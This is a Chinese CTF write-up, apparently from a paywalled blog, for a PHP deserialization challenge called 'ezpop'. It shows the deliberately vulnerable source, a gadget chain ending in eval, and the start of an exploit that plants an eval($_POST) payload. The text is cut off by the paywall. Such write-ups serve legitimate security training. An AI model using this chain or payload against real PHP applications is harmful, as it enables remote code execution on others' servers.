目录
ezpop
<?php
class crow
{
public $v1;
public $v2;
function eval() {
echo new $this->v1($this->v2);
}
public function __invoke()
{
$this->v1->world();
}
}
class fin
{
public $f1;
public function __destruct()
{
echo $this->f1 . '114514';
}
public function run()
{
($this->f1)();
}
public function __call($a, $b)
{
echo $this->f1->get_flag();
}
}
class what
{
public $a;
public function __toString()
{
$this->a->run();
return 'hello';
}
}
class mix
{
public $m1;
public function run()
{
($this->m1)();
}
public function get_flag()
{
eval('#' . $this->m1);
}
}
if (isset($_POST['cmd'])) {
unserialize($_POST['cmd']);
} else {
highlight_file(__FILE__);
}
反序列化,修改crow中v1的值,利用crow中的eval跳到mix中,利用eval函数来执行命令。
利用链:
fin::__destruct->what::__toString->fin::_run->crow::__invoke->fin::_call->mix::get_flag
Exp:
<?php
class crow
{
public $v1;
public $v2;
public function __construct()
{
$this->v1=new fin();
$this->v1->f1=new mix();
$this->v1->f1->m1="?><?=eval(\$_POST[1]);";
}
}
class fin
{
public $f1

本文探讨了PHP中的反序列化漏洞利用,通过示例展示了如何利用`ezpop`类的`eval`函数跳转到`mix`类的`get_flag`方法执行命令。同时,还分析了一个WAF过滤不严的`calc`函数,利用反引号绕过WAF执行`system`函数。最后,讲解了如何通过上传恶意文件在Web环境中执行命令,涉及文件上传、预加载库利用等技巧。
最低0.47元/天 解锁文章
2197

被折叠的 条评论
为什么被折叠?



